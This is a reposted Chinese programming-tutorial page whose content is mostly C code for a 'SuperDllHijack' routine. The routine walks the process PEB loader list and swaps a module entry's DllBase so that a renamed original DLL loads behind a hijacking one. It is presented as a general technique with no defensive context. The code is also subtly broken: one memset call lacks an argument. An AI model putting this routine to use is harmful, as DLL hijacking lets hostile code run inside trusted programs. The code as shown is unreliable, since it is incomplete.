大佬教程收集整理的这篇文章主要介绍了通用dll技术,大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
#include "dllhijack.h" #include <windows.h> typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING,*PUNICODE_STRING; typedef struct _PEB_LDR_DATA { ULONG Length; // +0x00 BOOLEAN Initialized; // +0x04 PVOID SsHandle; // +0x08 LIST_ENTRY InLoadOrderModuleList; // +0x0c LIST_ENTRY InMemoryOrderModuleList; // +0x14 LIST_ENTRY InInitializationOrderModuleList;// +0x1c } PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24 typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; WORD LoadCount; WORD TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; _ACTIVATION_CONTEXT * EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagLinks; LIST_ENTRY StaticLinks; } LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY; void* NtCurrentPeb() { #ifdef _WIN64 return (void*)__readgsqword(0x30); #else __asm { mov eax,fs:[0x30]; } #endif } PEB_LDR_DATA* NtGetPebLdr(void* peb) { #ifdef _WIN64 return (PEB_LDR_DATA*)(*(ULONGLONG*)((BYTE*)peb + 0x18)); #else __asm { mov eax,peb; mov eax,[eax + 0xc]; } #endif } /* dllname: 被劫持dll的原始名字 OrigDllPath: 被劫持dll改名后的完整路径 */ void SuperDllHijack(LPCWSTR dllname,LPWSTR OrigDllPath) { WCHAR wszDllName[100] = { 0 }; void* peb = NtCurrentPeb(); PEB_LDR_DATA* ldr = NtGetPebLdr(peb); for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink; entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList); entry = entry->Blink) { PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry; memset(wszDllName,100 * 2); memcpy(wszDllName,data->BaseDllName.Buffer,data->BaseDllName.Length); if (!_wcsicmp(wszDllName,dllname)) { HMODULE hMod = LoadLibrary(OrigDllPath); data->DllBase = hMod; break; } } }
相关资料
https://anhkgg.com/dllhijack/
以上是大佬教程为你收集整理的通用dll技术全部内容,希望文章能够帮你解决通用dll技术所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。